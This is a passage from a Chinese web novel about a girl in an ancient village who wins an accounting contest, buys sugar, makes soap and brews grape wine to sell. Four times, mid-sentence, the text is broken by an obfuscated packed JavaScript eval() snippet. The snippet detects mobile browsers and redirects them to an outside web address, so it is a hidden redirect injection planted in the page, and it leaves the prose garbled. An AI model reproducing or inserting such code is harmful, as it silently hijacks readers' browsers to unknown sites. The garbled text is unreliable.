霍婉回忆了一下二姐儿的记忆,也学着他的声调小声回道:“之前爹教我识字的时候顺便教给我的,你也知晓,爹看得书多,懂得的东西自然也多。” 霍荀闻言脸上扬起松快的笑容,“真不愧是我妹妹!给咱老霍家长了大脸了!”霍修远闻言放下了糕点,问道:“爹,什么是长了大脸啊?” 兄妹二人看着童言童语的霍修远,都没忍住笑了。 霍婉看着前方的人们,她估算的没错,这个时代的算数之法果然不发达。 过了大概一个时辰,这场账房赛事才到了结束的时间。 从开始到结束,加上霍婉共有八人上前,根据账目的清晰度,正确率以及用时长短来评判前五名。 霍婉以用时最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893701|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短且无错漏得了第一名,第二名是那位被霍婉指正算错账的青衣账房,而那位穿着灰色长衫的账房得了第五名。 众人都没想到竟然是一个小姑娘赢得了第一名,面上都有些惊叹和意外之色。那许掌柜对着小许账房微点了下头,这才笑着走上前去,道:“这位姑娘真是秀外慧中,还不知道姑娘该如何称呼?” 霍婉看了霍荀一眼,把方才因为写字而挽上去的衣袖放下来,微笑道:“许掌柜唤我二姐儿便可,家里人都这么叫的。” 许掌柜点了点头,把属于第一名的奖励用托盘端了过来。 二两银子、三张酒楼餐券、还有一块木制的红边令牌,中间刻了一个繁体的“账”字。 那第五名的灰衣账房脸色通红,周遭围绕的各色眼神令他不适极了,他轻哼了一声,从许掌柜手里领了一钱银子的奖金后,便快步出了酒楼。 霍婉有些新奇的看了一眼那块银子,原来古代的银子并不都是统一形状和样式,还有这种不规则形状的碎银子啊! 周围的人见出了结果,也没什么热闹可看,便三三两两的散了。 霍荀震惊的看着托盘上的东西,二两,这可是二两银子!他之前来县里给人帮工,遇到厚道些的老爷,每月给他们不过三钱银子,二姐儿这一下得了二两,抵得上他帮工大半年的收入了! 霍婉拉了拉霍荀的衣袖,让他把这二两银子和餐券装进袖兜里,然后有些好奇的拿起木制令牌看了一遍。 霍荀有些羡慕的看着自家妹妹手里的牌子,这可代表了一份县里的体面工作啊!可他没什么能耐,妹妹又太小,还是个姑娘,便是这酒楼肯收,他又如何能让妹妹出来抛头露面? 这个时代对女子还是有诸多束缚的。 而令霍婉意外的是,这许掌柜并未因为她年纪尚小或者是个小姑娘就不作数,仍旧把这块牌子给了她。看来,自己也能依靠以前在学校所学的知识于这个陌生的时代谋生啊! 霍婉正想的入神,在她身后的青衣账房走到不远处的许掌柜身旁,他紧紧抿着唇,脸色有些苍白的开口道:“许掌柜,我不要这第二名的奖励,不知道许掌柜能否给在下一个机会,让我在福客来酒楼做试职账房,便是工钱少些也无妨,我实在是太需要这份工作了。” 许掌柜往霍婉的方向看了一眼,道:“文先生,如今咱们酒楼里就需要一位试职账房,那位小姑娘赢得了第一名,得了牌子,这空缺儿就合该是她的。若是她没收下牌子,依次顺延的话确实能到先生,您看……” 许掌柜后面的话虽然没说出口,但文先生还是明白了他的意思。 是他强求了。 可……一想到慧娘靠坐在床上冲他虚弱浅笑的模样,他实在没有别的法子了。近些日子他跑遍了县里的酒楼铺子饭庄,都没有找到需要账房的地方。 要么是掌柜的带自家亲戚做,要么是账房老师傅带自己的徒弟做,且他这个年纪,该懂的都懂了,没有人愿意放这样一个人在自己个儿手底下做活的。 说句不中听的话,若是有一日他做得好了,得了掌柜的青眼,那还有原账房先生的什么事儿啊! 8. 买糖 霍荀正想跟妹妹说这牌子的事情,未曾想那小许账房快步走了过来,先朝着霍荀拱了拱手,这才道:“这位大哥,小弟打扰了,我见大哥言行有度,十分有君子之风。且二姐儿姑娘聪明伶俐,一手算账之法颇为独特,在下便厚颜相问一句,不知令尊现在作何营生?可否为小弟引荐一番?” 原来这小许账房是邺昌县许家的旁支子弟,这许家主支是在京城,宫里正得宠的昭仪娘娘就是许家主支大老爷的嫡长女。他们这些旁支子弟,有些出息的便帮衬着主支老爷们打理打理家业,若得了主□□边的青眼调去京城,等待他们的,可是泼天的富贵! 一听这兄妹二人的爹是读书人,且家中孩子也教导的如此出色,想必是个人物,小许账房便起了拉拢的心思。 霍荀闻言抿了抿唇,回了一礼,叹道:“家父已仙去多年了。” 小许账房闻言立即肃容作了个揖:“是小弟失言了。” 霍荀摆摆手,回道:“无妨,若是无事,不知我兄妹二人可否离开了?” 小许账房点了点头,他心里虽然有些惋惜但也没好继续说下去,只回了一句“请自便”。然后就回到了许掌柜身旁。 霍荀拉着霍婉走出福客来酒楼后,那文先生见状,匆匆跟许掌柜和小许账房拱手告别,快步跟了出来。 此时刚到未时,大街上的人也少了许多,有的摊主也开始收拾摊子上的东西,兄妹二人还没走几步,那文先生便快步走到二人面前,道:“二位请留步。” 霍婉一愣神的功夫,霍荀已经把她挡在身后,回道:“不知先生为何拦下我兄妹?” 文先生道:“在下文序,若有冒犯之处请二位多多包涵。请问二姐儿姑娘,可有意去福客来酒楼去做试职账房?” 霍婉一时没反应过来,从霍荀身后探出头来,还不待她开口,霍荀已经问出声来:“先生这是何意?” 文序听了这话作了个揖,低声道:“若是二姐儿姑娘决心去的话,在下便没什么可说的了。如果姑娘不去……”他顿了顿,“不知可否把试职账房的名额转让给在下,我……我可以用银子买。” 见兄妹二人都没说话,文序又道:“不瞒二位,在下妻子缠绵病榻,需长期延医问药,我实在是不得法才出此下策。若……若是此事玉成,在下……我定然会牢记二位的大恩,必不敢忘。” 可能是头一次做这种事,这位自称文序的账房先生脸都憋红了,干巴巴的看着霍婉和霍荀说道。 霍荀点点头,说道:“这是我妹妹赢得的,我做不得主。”说着微微侧身,把身后的霍婉露了出来。 霍婉缓缓的眨了下眼睛,其实她知晓,便是得了这么个机会霍荀也不见得会同意她来县里的酒楼做账房的。一是这个时代几乎没有女人做账房,若是她做了,少不得引人非议;二是清河村距离平江县还有好一段距离,一家人因为这份工作搬到县里也不现实……综合利弊,她放弃这份工作是最好的选择。 而关注着她神色的文序脸色微白,低声道:“姑娘聪慧过人,往后的日子定然是顺心顺意的。我……恳请姑娘给我这个机会。” 霍婉闻言忙说道:“先生不必如此,我跟兄长不住在县里,便是得了这账房名额也没什么用处,若是先生需要,便拿去吧。” 她没有什么理由拒绝眼前一脸恳求的清瘦男子,既然她做不成,何不做个善事成全眼前的这个人呢?何况他比自己更加需要这份工作。 这么想着,霍婉把那块木制的令牌递给文序。 文序忙双手接过令牌,然后从袖兜里掏出荷包,倒出来十几枚铜钱和两小块碎银子—这应该是他身上全部的银钱了。 “姑娘,我……暂时只有这么多了,姑娘若是不嫌弃,万望收下。往后姑娘有用得着我的地方,我一定尽力。 霍婉点了点头,伸手拿了两个铜钱,莞尔一笑:“先生言重了,如此就够了。先生也不要有什么负担,只当做是一桩交易,银货两讫,先生并不欠我什么了。” 那文序没想到他能得到这样的回答,眼尾微微泛红,心中又感激难言,颤声道:“多谢姑娘。” 霍婉潇洒地挥了挥手,这趟来县城里竟然赚了二两银子,看来自己可以买些酿酒必需品了。 “哥哥,方才的银子给我一些,我想去给家里买些东西。”霍婉笑着说。 这银钱本就是霍婉赚回来的,是以霍荀没有多做犹豫就把银子全都从袖兜里掏了出来。霍婉拿起最小的一块,然后牵着霍修远的手道:“哥哥,我带着修远去铺子里买些糖回来。” 霍修远闻言开心的笑了:“姑姑,咱们快走吧。” 霍荀笑着摇了摇头,但还是紧跟着姑侄二人进了一家杂货铺。 这家杂货铺名叫陈记,铺内十分宽敞,内里所卖的东西颇为全面。见有客人进来,陈记铺里的伙计忙走了过来,见霍荀他们穿着不甚体面也没有瞧不起,只是笑着问霍荀道:“小哥儿过来是想买些什么东西?” 霍荀看向了霍婉,霍婉笑着回道:“家中想买些冰糖。” “冰糖?那是何物?可是麦芽糖?”伙计疑惑道。 “……”霍婉万万没料到这个朝代还没有冰糖,难道是叫其他的名字? “并非是麦芽糖,是硬质的糖,像石块一样的。”霍婉连比划带形容的,那伙计听后恍然大悟,“小姑娘说的可是石蜜糖?”说完,伙计就走进柜台里,从上数第五个柜子拿出了一包糖打开给霍婉看。 这石蜜糖更像是用甘蔗熬制而成的固体原始蔗糖,比冰糖要黄上许多,也不甚透明,不知道会不会影响葡萄酒成品成色。 “就是这种糖,请问伙计怎么卖的?”霍婉问道。 “五文钱一两。”伙计道。 听了这个价格的霍荀倒吸了一口气,这个石蜜糖的价钱竟然是白米价格的六倍还要多! “那麻烦你给称两斤。”霍婉捏了捏手中的银子,计算了一下上次摘的葡萄重量和整体价格,毫不犹豫的开口道。 那伙计一听霍婉一下子要两斤也被镇住了,他确认道:“小姑娘,一斤是十六两,你确定要两斤?” 十六两?自己倒是忘了古代的重量单位跟现代是不同的。那这样的话自己要一斤半足够了。 “那就来一斤半吧!伙计。”霍婉笑着说道。 “二姐儿,你为何买这么糖?现在天气热,家中可能放不住,不如就先买上二两尝尝味道,若是好吃了再买也不迟。”霍婉开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893702|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝道。 那伙计也说道:“是啊,若是小姑娘你吃完了喜欢,再过来买也是使得的。” 霍婉拉着霍荀的袖子,小声的在他耳边说道:“哥哥,我买这个糖自然是有用处的,到时候哥哥就知道了。” 霍荀一向宠爱自己的妹妹,见她眼巴巴儿的瞧着自己,实在拒绝不了,况且这二两银子都是二姐儿赚的,她自然能选择如何花出去。 在场的最开心的莫过于霍修远了,他亮晶晶的看着霍婉的侧脸,此刻姑姑豪气买糖的表现,直接奠定了她在霍修远心中不可撼动的地位。 伙计见劝说不成,只好拿着秤细细的开始称重,等称完准备打包的时候,霍婉捏了一小块石蜜糖塞进了霍修远的嘴里。 “好甜啊,姑姑。”霍修远开心的笑着说。 霍婉捏了捏霍修远吃糖时圆鼓鼓的脸颊,忍不住又给他塞了一块。霍荀被姑侄二人的互动感染到了,也跟着她们二人一起笑了。 买糖就花了一百二十文钱,今日霍荀来一趟县城,也不过赚了一百三十五文罢了。不过看着妹妹笑弯的眼,他又觉得什么都值了。 看着霍荀和霍修远破破烂烂的衣服,霍婉大手一挥,拉着哥哥和侄儿又进了衣裳铺子,铺子门口的布料都是结实耐穿的,因为是往年的存货,又多少有些瑕疵,所以一百五十文就能买一匹,若是当下实兴的料子,一匹也少不得三百文呢!如今便宜了将近一半的价格,霍婉选了两匹料子,一匹给她和赵玉秋,另外一匹则是霍荀和霍修远的。 回去的路上又路过了那条吃食街,霍婉没有过多犹豫就给霍修远买了一包他来时想吃的甜糕饼和一串糖葫芦。 这么一通采购下来,花了将近半两银子,剩下的钱霍婉也没有留,全都塞给了霍荀。 霍荀也没推辞,把银钱装好后一手牵着一个,朝着来时的路去坐回村的牛车。等到了村口,霍荀付了回程的车脚钱,三人抱着东西沿着村里的羊肠小道慢慢往回走。 往回走了几步,霍荀突然站定,把霍修远一起拉到身前来,“远哥儿,今日之事莫要在外乱说,这村里村外的,若是传了出去咱们家就没有安生日子了!你晓得不?” 霍修远虽然才五岁,但相比于村里的小子脑瓜子总归灵光些。见爹爹说的严肃,又看了看今日家中买的这许多东西,重重地点了点头,“远儿知道的!便是对献哥儿远儿也不说,若是说出去,村东头的姨婶子该过来打秋风了!” 村东头的姨婶子严格来说不算是霍家的亲戚,但是与霍老爹母家陈家倒是沾了些亲。这陈姨婶子此人非常爱贪小便宜,附近村里只要稍微沾些亲的人家都走了个遍。若不是这几年霍家实在没什么银钱,这陈姨婶子指不定怎么来打秋风呢! 霍荀尤不放心,又细细叮嘱了几句,霍婉见他太过紧张,就笑道:“哥哥莫急,今日之事我监督远哥儿绝不多嘴。此事是个意外,我也没料到自己能夺得第一,如今家里得了这么一笔意外之财,咱们兄妹就别操心了,把钱交给嫂嫂,往后多想想办法,远儿到了年岁也能去学堂学几个字,家里也能过得松泛些。” 霍荀摸了摸霍婉的头,叹道:“二姐儿懂事了,走罢,咱们回家。”说着就带着霍婉和霍修远往家中走去。 9. 酿葡萄酒 霍荀一路抱着东西,带着姑侄二人回到了家门口,见赵玉秋在外头等着,霍荀的脸上扬起一抹笑意,低声道:“秋娘,快些把门关上,咱们进屋里说。” 赵玉秋见丈夫脸色尚好,只是手中拿着的布匹和东西是?她听了这话也没多问,忙把门口的木栅栏关上,让霍修远跟着姑姑霍婉在院子里玩一会儿。 霍荀先把放银子的荷包递给赵玉秋,道:“秋娘,你打开看看。” 赵玉秋打开荷包看着里面的银子瞪大了眼睛,然后细细数了数,竟然有一两半银并一百三十五文钱!这对于山里的农家来说可是一笔不小的银钱!就拿一亩田来说,好些的要三四两银,若是次些的,一二两银就能买下!这……! 赵玉秋有些激动的问道:“夫君,这银子是如何得来的?” 霍荀就把今天的事情细细描述了一遍,赵玉秋把银子装进荷包里,惊讶道:“二姐儿说要把这笔银钱交给我?” “的确是这么说的。”霍荀点了点头,又道:“二姐儿说家中许久没做衣裳了,左右衣裳料子耐穿,虽然有些瑕疵,到底咱家也能有身体面衣裳了。只是,今日二姐儿买了一斤半的石蜜糖,只说有用,倒也没说做什么,又给咱们远哥儿买了些甜糕饼和零嘴,这一趟下来就花了将近半两银子。” 赵玉秋闻言眉头微拢,有没想出个所以然来,只得拍了拍霍荀的手背,笑道:“这钱既然是二姐儿挣回来的,便是花用些也在理。自从二姐儿上次病好之后,眼见着活泼机灵了许多,夫君还是不要操心了。我就说,读过书就是跟村里的姑娘不一样,这下可好了,咱们家一下子多了这么多银钱,之前欠几家邻居的药钱总算能还上了,过两日咱们去村西的里正家里,拿些东西,去买一亩次些的田回来可好?仔细养几年便是好田了。咱家本就八分地,多买一亩田,一家子的粮食就不愁了。” 霍荀温柔的看着仔细打算的赵玉秋,也笑了,他用力回握住妻子的手,嘱咐道:“秋娘,今日所得已是意外之财,若是二姐儿不懂心算,若是爹没给咱们留下这些个书,咱们一家恐怕没有此等运道。此事决计不能对外人提起,秋娘,你可明白?” 赵玉秋看着丈夫认真的样子,也细细想了一番。她在闺中时就是个聪慧女子,见小姑给家中带来如此好运,说不得往后还有别的机缘。她眼见这些日子小姑的性子慢慢变好了,如今又能给家里赚些进项,这事儿若是被外人知道,他们可是要眼红的。 赵玉秋点了点头,对霍荀笑道:“那夫君,我今日给二姐儿做碗鸡蛋羹,犒劳犒劳咱家里的大功臣,你看可行?” 霍荀也笑了:“当然可以,玉娘你做主就好。” “那次田的事儿夫君做什么打算?”赵玉秋问。 “秋娘,你说得在理,有了田咱家就不用挨饿了。过些时日我便找了老里正去,咱的田北边那亩地虽然贫瘠了些,但离着家里近,正好挨着咱家的地。你看着呢?”霍荀商量道。 “行!就要那亩,今天你也累了一天了,你歇一会,我去做饭!” “嗯。” 此时天色尚早,霍婉干脆带着霍修远一道把昨日摘回来的山葡萄小心的放入木盆中清洗。霍修远捏起一个葡萄放在嘴里尝了尝,“姑姑,有点酸。” 霍婉专门给他洗了一串,道:“你就吃这上面的,不许动姑姑盆里的,记住了吗?”霍修远闻言乖乖点了应了声。 “二姐儿,你这是做什么呢?”赵玉秋从东屋里走出来,笑着问道。 “嫂嫂,我要做个好东西,若是做得了,能拿到县城里卖呢!”霍婉笑盈盈的回答道。 赵玉秋一听这话忙走了过来,压低声音问道:“好二姐儿,你要做什么东西?从哪学来的?” “嫂嫂,这是我在爹的书里瞧见的,能入口的好东西,你就等上些日子,到时候就知道是什么啦!”霍婉神秘的摇了摇头,道:“家里的剪刀在哪?” “你等着,我给你拿去。”赵玉秋快步回了屋,把剪刀仔细擦了一遍给霍婉拿了过来,又不放心的说道:“这剪刀是我平日里做活计用的,会不会污了这吃食?” “嫂嫂若不放心,我便拿火烤烤。”霍婉说干就干,拢了一小堆柴把剪刀消了消毒,然后把山葡萄几粒几粒的带着把儿剪下来,不让葡萄里边沾了水。若是遇到坏的和破了的果子,就一并挑出去。 等这一篮山葡萄剪好之后,霍婉把厨房里拿的粗盐碾碎,撒进泡着葡萄的木盆里。 泡了约莫一刻钟的功夫,霍婉用手轻轻翻动这些山葡萄,没有搓洗,翻了几下后又弄了一大盆清水,冲洗两遍后问赵玉秋要了两大块平日里晾东西的干净粗布,把山葡萄放在阴凉通风处,静静等待风把山葡萄上的水珠儿吹干。 把这些山葡萄处理好后,赵玉秋的晚饭也做好了。 霍婉帮着赵玉秋盛饭端菜,姑嫂二人把饭摆好后,霍婉张口问道:“嫂嫂,家中可有完好的陶罐?不要那裂了口子的。” “你要罐子做什么?今日在陈记,伙计不是看你买的多了些,送了你一个小陶坛吗?”霍荀从东屋掀帘出来,笑着问道。 “哥哥,你和嫂嫂就等着吧!陶坛我自是有用处的!”霍婉道。 “我方才也没问出个所以然来,二姐儿弄的可神秘了!”赵玉秋拉过霍修远在自己身旁坐下,递给兄妹二人一人一双筷子,“二姐先吃饭来,今日嫂嫂给你蒸了鸡蛋羹,咱家有个放槐花蜜的坛子,是我从娘家带来的,远哥儿出生后便没再用过了,我洗干净后放在柜子下头了,不知道能用吗?” “能用的,那就麻烦嫂嫂了。”霍婉一听有干净罐子,心头一松,把鸡蛋羹给霍修远盛了大半碗,一家人有说有笑的吃了晚饭。 吃完饭,赵玉秋就把那坛子找了出来,大概是一直在柜子下面放着,倒是没落什么灰。霍婉用锅里的热水把坛子仔细清洗了一遍,没有条件消毒的情况下,用热水洗坛子是最直接有效的。 洗好坛子后,用干净的布细细擦拭了一遍。等坛子里的水珠儿也干了的时候,霍婉去看了看晾着的山葡萄,表皮果然已经干爽了。 右手套了个昨夜赶工做好的简易手套,洗好之后一夜就晾干了。 霍婉左手拎起一小串山葡萄,右手把山葡萄拽下来放进干净的坛子后握拳捣碎,估摸着放了一斤的山葡萄进去后,拿出今日买的□□糖,估摸着放了三两进去。按照这个比例,霍婉总算把这一篮子山葡萄都做好了。 连带上□□糖的分量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893703|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坛子堪堪装到了瓶口。 霍婉跟赵玉秋要了个盖子盖在了坛口上面,接下来的日子,她从一天搅动两三次,到隔一天搅动一次,就这么神神秘秘的过了几日后,霍荀和赵玉秋都不干涉她了,随她开心去。 这日霍婉拿出了前几天做好的竹筒香皂,央霍荀帮她把竹筒劈开,但是要小心里面的东西。 霍荀笑着揉了揉她的发旋,按照她的要求把香皂外的竹筒劈开了。 霍婉把做好的香皂放到鼻端闻了闻,很好,一股淡淡的清香果味,十分清新怡人。 霍荀和霍修远一脸惊奇地看着眼前的东西,好奇的摸了摸,闻了闻,很滑嫩,难道是什么吃食? “嫂嫂,你快些过来!帮我拿条棉线!”霍婉道。 “哎!”赵玉秋应了声,快步从东屋走了出来,“二姐儿要棉线做什么?”赵玉秋问道。 “嫂嫂,你且瞧着。”霍婉说完后,接过赵玉秋手中的棉线抻紧,把香皂切割成前世那般厚度,一个竹筒的香皂共切了六块出来。 霍婉拿着木盆从一旁的大缸里舀了些水,然后把脸打湿,拿起切好的香皂放在手里搓,搓出白色的泡沫就抹在脸上然后轻轻揉搓,过一会儿就用清水洗掉了。 “嫂嫂,你瞧,我的脸瞧着是不是干净了许多?”霍婉笑着问道。 赵玉秋凑过来细细看去,果然二姐儿的脸上不像往日那般油腻,看起来通透干净了许多。 “二姐儿,这是什么东西?好生厉害!”赵玉秋惊叹道。 “这个东西叫做香皂,是我在……额,从爹留下的书里看到的,一时好奇便做了几个来。方才我用着觉得还不错,嫂嫂要不要试用试用?”霍婉笑道。 赵玉秋情不自禁的拿起一块香皂放进手心里细细摩挲,入手细滑,手感颇好,她虽然嫁为人妇,但实际上也不过是个二十来岁的小姑娘罢了。对于一些新鲜的东西总是十分好奇的。 “那我,便试试?”赵玉秋有些不好意思的说道。 霍婉闻言去打了一盆干净的水,叮嘱道:“嫂嫂,就像方才我那么洗就行,揉脸的时候别太用力,轻轻地就行,只记住不要睁眼,若是沫子进了眼睛可要难受的。” 赵玉秋学着霍婉的模样洗完脸用毛巾擦干水珠后,摸了摸自己的脸颊,果然,比自己用清水洗要干净嫩滑许多。她惊讶极了,没想到小姑子才读了几年书,竟然能做出这么好的东西来!她之前去过县城,从未在胭脂铺里见过这么新奇的玩意儿! 赵玉秋喜道:“这香皂真是好东西啊!二姐儿,你能做出来,真是太厉害了!” 霍婉有些不好意思的笑了:“都是从书里看来的,嫂嫂疼我没让我做什么活计,左右鼓捣些小玩意,咱们在家里将用,图个新鲜嘛!若是嫂嫂喜欢,那往后我就多做些。” “哎!” 看着霍婉腼腆的面色,赵玉秋的心情也不由自主的好了起来。自己嫁过来这么些年,二姐儿总算把她当做了一家人,对自己和远哥儿也不像以前那样轻视了。 “远儿也要洗!姑姑!”霍修远拉着霍婉的衣角,撒起了娇来。 “好好好,姑姑给你洗。”霍婉自是敌不过小侄儿的讨好卖乖,牵着他一道去打水了。 10. 卖酒遇阻 过了几日,霍荀又独自一人去了趟县里,回村后先把霍婉让他买的两个陶坛带回了家里,然后提着两包点心去了里正家。约莫半个时辰霍荀就拿着空篓子回来了,脸上颇有些喜气。 赵玉秋放下手里的活计奔过去,笑道:“成了?” “那是当然,咱们给里正准备了糕点,里正夫人又是个爱得便宜的,当时直接就定下来了。里正说明日去县里办好地契,等地契办好了这就成了!这里正也会做人,说咱爹在时没少帮他,这次他便给咱们便宜了一钱。正好花了一两银子。” 赵玉秋舒了口气,笑道:“那可真好!” 霍荀拉起赵玉秋的手:“咱们辛苦些,好好养养这亩地,往后家里就不怕挨饿了。秋娘,这些年跟着我,苦了你了。” 赵玉秋微微红了脸,“自你我成亲后,夫君处处体贴,我,并不觉得辛苦,只觉得如今就是最好不过的日子了。” 夫妻二人依偎在一起说了好一会儿的话,直到了饭时,赵玉秋才红着脸从东屋走了出来。 霍婉摆着手指头数着日子,大半月时间一晃而过,她揭开坛口处盖着的盖子,果然,山葡萄的颜色已经全都下来了,不用凑在坛口处,鼻端就能闻到很浓郁的红酒味道。 拿出提前准备好的干净纱布叠了两层,用滚烫的热水把纱布仔细烫了一遍,顺便把木盆刷烫干净,把山葡萄酒放在纱布上一勺一勺的舀出来并过滤。 过滤好的山葡萄酒呈浓郁的紫红色,这次采摘的山葡萄原料是纯天然无农药添加的果子,颜色也是漂亮的深紫色,故而葡萄酒的成品如透亮如宝石一般,散发着浓郁的浆果香气。 霍婉小心的舀出一勺放进碗里,山葡萄酒的味道比她之前酿过的还要纯粹,口感微甜,果味也很新鲜,可能是因为酿酒原料的缘故,山葡萄酒的糖度和酸度达到了一个完美的平衡。 如果现在引用的话红酒味并没有那么浓郁,但也能喝出来,现在山葡萄酒的度数很低,估计也只有一两度的样子,如果想要达到饮用的最佳时间,还需要二次发酵三到四个月的时间。 不过嘛,这山葡萄酒并不是用来喝的,而是用来拿到县城里卖钱的。 上次她在县城参加账房赛事的时候就有注意到,福客来酒楼的酒水种类单一,且价格都不便宜。 就拿上次陈记铺子送她的那个陶坛来说,约莫能装两升酒。福客来酒楼的酒坛也差不多这么大,一坛汾酒就能卖二两银子,一坛花露更是要了五两银子的高价。 把霍荀带回来的两个陶坛清洗干净,等坛中的水晾干后,就把山葡萄酒小心的舀进坛子里封好。 等把三个陶坛装满后,大概还剩下两碗的量,霍婉干脆把葡萄酒放心碗里,把霍荀、赵玉秋和霍修远喊了过来。 “哥哥!嫂嫂!远哥儿!你们快过来看!” 霍荀应了一声,赵玉秋领着霍修远过来后,看着碗中的葡萄酒,她好奇道:“二姐儿,这就是你用了将近一个月的时日做出来的东西?用来做什么的?” “嫂嫂,这叫葡萄酒,不过我给它起了个别名雅称,叫浮香酒。”霍婉笑着说道。 “酒?”霍荀十分惊讶的凑过来闻了闻:“的确是酒,可酒怎的能酿的这么快?况且二姐儿你也并未用家中粮食啊?” “哥哥,谁说只有粮食才能酿酒,我以前专门学过,各种各样的粮食和水果都能当做酿酒的原料呢!”霍婉道。 “那二姐儿买的那些个糖块……便是都用来酿这酒了?”赵玉秋问道。 霍婉笑着点了点头。 “怪不得县里的酒卖的那般价钱,原来光是原料就如此之昂贵了。”霍荀感叹道。 “哥哥,嫂嫂,你们快些尝尝看。”霍婉说道。 “二姐儿,嫂嫂不喝酒,就让你哥哥自己喝吧。”赵玉秋看了眼前的葡萄酒,推辞道。 “嫂嫂,这葡萄酒几乎没有度数,你就把它当做甜果子饮就行。”霍婉把碗递到赵玉秋嘴边,“嫂嫂尝尝看。” 赵玉秋看着眼前瑰丽的葡萄酒,眼一闭心一横就喝了一口。 “嫂嫂,如何?”霍婉笑着问。 “甜滋滋的,像甜糖泡了水加了山果子,还有很淡的酒香气,很好喝!”赵玉秋眼前一亮,说道。 听她这么一形容霍荀也有些好奇了,端起碗尝了一口,怎么说呢,酒味很淡,但果味和甜味十分突出,他从出生到现在,还是第一次喝这么好喝的果酒。 霍修远也凑到赵玉秋身旁,赵玉秋看着他巴巴儿的样子,有些无奈的问:“二姐儿,远哥儿能喝吗?” “这是酒水,便是再甜也有度数,如今远哥儿还小,不能给他喝。”说完霍婉变戏法般从身后端了一碗放了□□糖和熬出来的葡萄紫色调制出来的冰糖水饮递到霍修远的嘴边:“远哥儿喝果汁就好了。” “谢谢姑姑!”霍修远见他也有份,开开心心的喝了一大口,甜滋滋的,一直甜到了他的心坎里。 “哥哥,嫂嫂,你们觉得这浮香酒可能拿到县城里去卖?”霍婉问道。 “二姐儿,你忙活了一月才得了这么些,如此费时费力,还是留下吧!”霍荀犹豫道。 赵玉秋虽然动了心思,但自家男人都这么说了,她总不好再说什么。 “哥哥,若是这酒卖得出去,赚了银子,往后多少酒我酿不出来?况且这原料都是山里的东西,只是糖费了些,不如哥哥让我去试试吧!” “夫君,二姐儿说的有理,就让她去试试吧!”赵玉秋也帮着开了口。 霍荀沉吟道:“行,明日我与里正一道去县城里办地契,二姐儿就跟着一道去吧,只背一坛,放进背篓里,别让人瞧见了。” “放心吧哥哥!” 第二天一早,赵玉秋就来敲霍婉的门:“二姐儿,起来了吗?嫂嫂给你煮了鸡蛋,快些起来吃吧。” 早已穿戴整齐的霍婉打开门,甜甜一笑:“多谢嫂嫂,我这就去!” 霍荀背着背篓,带着霍婉就出了门。 兄妹二人来到村口的时候,赶车的孙老头儿正在跟里正热络的说着话,他们瞧见霍荀带着霍婉走过来,里正笑道:“荀哥儿这是带着二姐儿去县城里逛一逛吗,放心,办契很快的,今日二姐儿倒能在县里好好玩一玩。” “办契?荀哥儿这是买地了?”孙老头儿惊讶地问道。 “家里人口多,从村里买了亩次田,往后家里也不至于饿了肚子。瞧二姐儿如今都十三了,眼看着跟个十来岁的姑娘差不多。”霍荀叹道。 “是这个理儿。”里正点点头:“那咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893704|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快些去县里吧!” 那孙老头儿还想再问,见里正都发话了,连忙止住话头,驾着车往县里赶去。 牛车晃晃悠悠了一个半时辰,孙老头儿有心卖里正个面子,干脆带着他们直奔平江县衙。 此时县衙门口站着两个衙役,里正说明来意后其中一个衙役便带着他们进到了县衙,很快便把那亩次田过了户,地契也拿到手了。 出了县衙,那里正道:“荀哥儿,我先会村了,你带着二姐儿去城里逛吧。” “好,您慢些。”霍荀点了点头,目送着那孙老头儿带着里正按着来时的路回了村。 剩下兄妹二人后,霍婉也放松了些,“哥哥,咱们去福客来酒楼吧!” “好,走吧!”霍荀摸了摸霍婉的头,笑道。 等兄妹二人走到福客来酒楼时,发现酒楼前头围了一帮人,霍荀见状问了下四周的人发生了什么事,见来了个不知情的,大家你一言我一语便说开了。 “嗨!小兄弟你有所不知,今日这福客来可惹上麻烦了!据说有位从京城来的贵人,吃了福客来的酒菜后很是不满,正在里头发火呢!” 